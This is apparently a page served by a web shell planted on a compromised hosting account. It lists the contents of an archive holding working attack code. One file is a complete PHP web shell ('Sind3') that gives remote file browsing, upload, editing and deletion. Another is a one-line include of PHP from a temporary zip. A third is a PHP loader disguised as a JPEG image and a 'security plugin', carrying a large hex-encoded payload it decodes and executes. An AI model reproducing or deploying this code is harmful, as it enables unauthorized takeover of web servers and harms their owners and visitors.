|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK �Lm\Aj�%\ %\ 962ta.phpnu �[��� <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
PK �Lm\�Bf*k k index-20260307170735.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "wp-file.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Lm\���� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK �Lm\} ���@ �@ 21dew.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
/* Legacy-Compatible Obfuscated Loader - ID:2366746 */
/*
Description: Enhanced security module
Version: 4.4.19
Plugin Name: SecurePluginllsQUfju55
*/
class LoaderlgGVyM29920 {
private function dcbvapKn13() {
$tmp = base64_decode('ZGF0YW95Y0lqVjEz');
return null;
}
private function gtwbAJnN24() {
// Gate piece 1
$jv3 = str_rot13('ebgbbBpa90');
return str_rot13('59xu');
}
public function pubyxBrq41() {
// Public method 1
if (87 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$tmp = str_rot13('ebgNjkYa54');
return 'valaiCL30';
}
private function gtBpFZGg19() {
// Gate piece 3
$tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('c2sz');
}
public static function init665() {
// Decode and execute payload
$hex_data = 'pYIOludjb47d5b7bda4897f50fca45241b12b8aca3ce822aa94a873b904002094302b104bffeab023b31b69cee9e99ef79a667de9e7ea316aada6bafb58ff471ecdbc014b073e6b01369fe345ae0be40a12c61408e1b281dc2fa8002589d32764a64b36f636a6cc9ae5ac7bcf0103b1d8af3e429aa0f113cf390a5ed9c5ea693f02236f3ed74457bf69c5923133e983f2c24e6d1030fa2a6481769b8cbc43e22fd6427797d8c1ebacb62037af50f1f9c1de1ceceddcf3835d74fd9c38238396bbb54881045c6c92375e9cd699f876cf48dc3d101031612080ebe0922420edf2cde3556c429d8d5076ef487e2720a3260b8b939a2f04cf0cc221797ed5d181f3de722119501768d5604d0499138a6188a3533e52e6f8fd26e691e3c562318914b548134368e0edd901536208551eed98fa6bf348d554ceb1f7945fc108db2a5107397e69ecb9c1dea49354759e551388d2df0752ee4778bcb09df553f0a6c62270a1e122ec82ca15f5cbecfd72c18c3cb288fc8d8cb9271b248c851fd7037e06d3063e3bd25f6807595c7e1e4d96793b564c7a794f6bd858c75547501e2532fe1ce01182485915b449b00f9a0f5382fe64830f57b83421a3274fbb6088171b0a4e0cb9d8923b369fd8a8bb4326afd9fc1a64016777c5c4d82243aeeb13ce0689b1716726673d287a809815d91d2bfb821693312c07619c0d177280ba4ee0b01f2fabc42544d2568f1353a1baba8dbf328a1bf08aaf6a1a091fdd4ada20bcb669d4c906108cc9dc28a1a3fa5811588e37a2d4ecfa8052eacb91f0bd78f1e8a9145a4b136c921ba1cdda8ce3c045c82a2c204b5bbb2a232485312ceaa50707e44a03202efd17d9ac172e69abdef54ce13d8358476d3405d647306db9300932a6f3a036eab4bca3a1e1b92c8877cc785bbb6aa9397464ee6b030a50d2fb264c41c8b22f25860f7212fd49faf22b20704328afa2271e0786137a1c1b672193dd4811589190655881ec6ad254b62c566222be2cd01935c2a53a15ce65b9171d3c5cb0b3bfb568ea09cd2e85c507ace361eac16a46ffaa8398e20ca2609247edcf4287dc82030e8de8e721663e0baa0e18c0364f705f3a2c937610468cd41e6ed7214c396b26e847094992e1c2d087c7d5e8ea28a49b00d84859d43cc4769bc298be8ec20b7730f1016732ea7468cfba7193e547fbe5f96d02e5b114a9f57bb6234db8169dad7e36843d637fba8be7b5510cdd2d3c80593557266f9ac6a53127718f27c653dd45edc9cbc326db9b36547284e21bf545f9d682f11929325311e63b2dfe24d96297bf2a8388e8535ad493c99464f2cb76c6158e7f647b8d9ef1d852f6ecc32461de258d7f378567692b14e5d0ab8ef5de12cb155ae3896cbbc71316dc44f58398046616d093742b199499bac660026109436ee84e73c9080d1ca2e092de79d3305ecb05fb09117d36aebc38315376e973f4dc4bc0ffd188a3902067037600fdb82858f466e3f95fe82b582f262c509d801c6be2c3820a1e465b9cd6b75aff60b51069cb69b909d80be7f6b49b6d1a30cec78df38dbea6bba0d7ad89a09ae4e6b111bb3e585a085d5da31e179b62970da3a8d7e5e21f33d6eab04564d8878ff2b8fa5596c4773bbcd3ab831fd9cf4d962979324c9ebfc52a5fafb89b8f433380d691f38b6d1970eaa2cf9d8f833d98942f43b568f0366e45cd987fa523914cd7ecf79b5b12ffb42d6b9cfba7d48a3608ecc69c49fd88a3ee668410c922804c0acd2df2f89eb2277c8c999d77515d149803b670339db2ec55e2e2ef985c0ba934f32483b36a7a00d93d80c3285bdb7f3a5be03eb90c69d44bc70d57dcee543e5ce4cb35cc9e9288570a5f04a7fbfabffa0dde428483f8e0141b17a1eae6a629f27276cf609bc9015490e3bd6743917c142e1699eefa837bf985e099b6cddf0bd278b84d6c2e5d0780eba29679dd8315819e44c947fcb71d47488e0718d09cce02387693c417346fcd7f3f0cfa567d5d98fb9383c85cc51fec8e0a0163e600652f6bbb49bfd7388ddfe8a0742627eee5cb271f616dcc7f656fae985ad31907e24c2343169b0d8911523ce7ccd1c33314efb58bde7ebef55fe23a2c6c11074dcb387e6286036019d4844e298c8800c9fe15444215a4048b9709e202f76411c606512ce8c76ace49383dd8e003d0794b6f039e344f9a38361f1fafa7e8293945e82c4c6a287b227b83b2de445cc325ab9521c8ad7efa7fd6f497b3083d32a7a043e6519c0dcdcb92c041aef1547d8c7164d436b8a95ff25909cfca856e7db36177dbe0b5207944d1cccc0c1bd0844aa83e736a63703b9c2538310a6ec17abf33032e5cf8593f3e9287ac88375d4f5ce66d28535cbc2849e67b5fcb962a2b19a2ee5a28090550542c0965dff94d64d568813cd6b857f46e9605e3c8470fc4d56ac93d2b8da5bdaed6350b941bacd0e5655653c36d308b1f5d20039ef29bde29f75fdbdb3a0858a7d0407d01aca1f49ed3f2abf3ea48970bb985453881a67c158aa7801492ef447048f81e21bd7fbcc934cddbfd086cccd973b815352ac1d9be6f36ed220f58e5cd0805dfdf9f4f7fbb15df5fbfb69fb8d1ab90697ba2048e473d630ce15df68f89ff380faf74e7e5872825fdfcfada616276e276856dbdbae49c0d146eaffc8243793ea08d9c3c4089ef47974d7f7d3f739df5401a927da7e4508a4b2df23838cb8eabeecd6b488a0f1c6bfe9fbfcfa7efa7cb7ee42e251e60b566260a41607bd7b9ecc145e657feef3f53cfed8afb13f272dfb622193d82cf0d4fb1d2d54b5b02de9e0fb5d7f6ff12334a99c57eafe914ee2ae0a016ab4fdada879d860d68f0491bb0fefa7f10537eb39ec77ca87091b1cd33062a690d52ce0c4cbe4a99617fe7cff7e2ff671368480d46748e35f58db86bb84b12cd358fab3be5dc04a3daf73026f63c4948f791207fafebdf9bdcdf757fb7db5374b084ae028c45178885bbe825bda27f164ee8256e301c635593b8865d69ffb7c7d9ebd3becaeefc78b4854d9530a2b7517dc3fe7118d4cbb71f716a65e844774d6b53b587518893e289f2846f1a1badd972bbe00ab1b65311dc501cb4b598d8dd46c46f06c3876f3c77fd0cb644acde612ca633867ee82b0bd031a3677cf06966db60a923657f6afcee3caaf28078aaf19d7efd745a6d1c1be0a6366e2a4e91a740e2ad8b889ba93dc46573ec4d2ddf8f4e7fe4d676edbe7f3f878b028bdda478c9be7602b153fcd7ac23bc50f1a70b33749607ca8bdf644c218b2e8a99d2bbe91a138b02cd0b3a5e21bd1fdef4d611de4b42e7739af535965ca7775e3dff7a5a787e241df17972a3c0da2edd4f72b53d22ad7fc8f28fdf134a3643d6b0fc10cb09de22a04b3518659b0855db8121ba51ca8398ecf592801f4785fbe3ccf892156ef9fd26401c60a523317b3a650784084b97f83f7adf2a38adfc9f67bc60f0a4f0d5f7dbf1a9e9b794a4c12e1e29b651dbf7bfdf4943c358056638b8a60a5ee0b088c50e61f9ed70450940470f610f24099d2f5fd468a77334b9010560426e969227b87713bc839527a06b81902b92d644b7275fe3684b824f7f64bebee1cc2baa05d674a7134fef6fd5e9e37fcfde8c453772924f88a7f755a037dbe17b2eddca8e9b16dd15f57fb6d4f3c7aeaca6453ad7d3ec913736ca792cfca345f816e9aa92ff687efdeec4d01f5d856c4d890863151c271955781f23b84e264dc2272c2f85ce4f4912e56f4e889b64c24cdc3c58e66565f92128e32ba699f7fe301e03b57f3a12a385b1c9a2826590a73acfe1089ecdc14550152dbc899d9d77ff08af9ce456949da7ab3a6974137fa16982fbf97d28dd38796a85b832a9e943cf602535746469f082b7f8e6a91ba7db602afcfe3631b697e75bed947d8c0407dffbda83855efbe1214ee668a8fffc1976a952a5744994b944f3f225ad230769368db7973c24ad8ef63c4cb7c91d025a8e46a051b6f454ebb188ea987142f79e4c115fffad24829dbe00df12c61da900b6663594be858ec91a3509efee033cc8a60cbd477297fbf1fab5ba4389532d2ceccdb57be511d159e02a5173ca030298dd8c86e4b12296d665950f197c2581a7ff05ef1fb95234e89e2a7e3981ed59d733fbedf077f09237b437df9448315e997362c906dfc891f78f14d6f658a1fd1aa995fe307c6418a7a14097583fc2dc8527064b80a3cc5af9e80398e6ef65bfbc103b9dcce1714f3adf4707fe5bbc1bc2a9e2cb34ba3be0815e979f6bbbeb48dd1593f0faa174a498bc3b3d1056c32f76d73affef969cd272310854af3fce1577f7eefe4448949355f20e078f6eb29e2dd64a7ecc320979e5a728a1939ad4bd24d14bfff96d9ac94dbd1da6107456115deb0639a3ff51ee5f0ea8f4a36faa6b441ead7cce784ef726522b31dcc0373a4bed63113601ff27ec469277e41739a400cb88d1dcb2722b7eff079329f8936f04830b15be04486d203dc7c5e90208a95de7ae3df1417ae383ad77564f759b4553616779e5b5539e54ab2558a989da5f3db1ff1fc95afd5cbf6ea7f93044eaa4818ed551f35ee6f7f14b7d3c8def6498a5cbf14fde6958fdff881029bbe58cf949e89cc1ec502006696b52f8c826079a1fd44f13aa565841b32d062f940364affeaef97dff86997b32a074c4167964c43d9435298fbf53a798b2f6d1d34ea7930d4cfdbe8e7c57f9e77fcf0bc3ad4cfcbf4f31857cf33d4f38c6e12f52552dc5dd9c8a95e1aa64d489e077dfd5b2f30d8ebe7fd8a79c7aca720b52f3cc89b53ca5ecfa3eeb9d2332ffce0f80b1847002a46b8c2171f4cadb4135d54579d652902d48310124940f3c2c7af7a8b20bfe9145353fea8073a7e604a63825dc3f45762f2cb923a24330eec577b7bc35f625e2cdef8b7dffaed050fb0adf47b7036569adf87662de6319bdaca3ee680e4a83efcca596f27ac1d59bc3bc34d1f50e5cbb9395ea48fe58e75cdddf7fbc3ffd409c21215e4543af5a8b1604b52e54bd43dfb1154938888deb0a831b12e9d7a18e1b8a2411ab3c612e5d27e321849097be5e37feecb2b7f56fe8d1c01ed9d156adb8dd2834a526415f88cef6e9a8ffc74db7b4266abd024d92a1a75d8ec24ed46583fcffd601f6f9ed7d20c22c8e486cd8adff8f2e7fd345efde193057f8d9f46bb97e719affe7704711c5c2074a4179f848c01f5495fd82c238a8fabf39d7a29ad5625ad6701701a2c8f2e6c64ba4883efbfe39329e860d4819408482a304f22a7517c1ce347262cd87db12e55ee9e73dbdf90af8807cfe4a9f9099ee057e5c3a1f3585ee3259c92e7a06e5366b85dbeab5633d83dda5591a0aef86e47c1091b79a48e855976192e80f4141f8a75bc8456a371beeb43d7ec15a3a926481adf501db8881d6a5b7d3f7dbe821c6768bb5f25b0f7d945b19e5ac8804b82953e4ace62e6e390119679b61134f7fc6f72445200da398ec6bf42fed6bfa612fa5432607353f9f3f4773ce2e57cfb35aa09c24c21d4ae9d2d93a2850fe6b6acab937a98a59f37ebc1d9052524b8341272eae3b3e207a0f6dedb878d8437ab4e05b9f1d37cf5400a611eb122544188af7cf71fe3614952d7fed3a9f5fbf25476c1f91a6f8f1cd38fc103b52851f21a3bb4972b0a5ff1f42e7e70d333377f4e3a23b13781396b430c9e982283fd2bdf9dc5f0b7fefd631fd0c0a01a01c0cdd3a2bd8f1f5cef5f37f1e9c5d943524642beeafdfbf8cbf579f8ee3e53d0b6bf000be142913929157fbe7461d43916b9741447e33debdddf7afa0dbfbac6638bc621330a9359131e2d5aa510389922b6674f044bdad33b3c7d63bf31de529946eabe9022faad3fdee0814f8e2740f680f5fdab3f7aa7dfa40d98a1e3612de3cdd0fb9157bef1e2dff6eafe25b0bada87e5e9f87317687fdeaafbec2bbe76817515dcc73bff3ccf8219c8b7071dcf7e731ebfcf77e3c171cad9b192cda197bb0aa5d05596d0d8587d6b60f0c839c322da82b5db8f3b651fea638024b4dacf9e77fdbd099b6cad646f206caca2aa936053854abf6dec56194a6f86691428fd162adf57c498672bc577aff1e7156c7f28fb9ddacd5e716e678fd971ebd4e392f3a08ca5b145db0e47e6340f5171f27843dd246fd863f589debfbd1fe8463f2d714c942dba3e33b64177b2d4c7bc7b9e028a938e03f8f6a99d31f0d9f3aef1f6a1df4b1f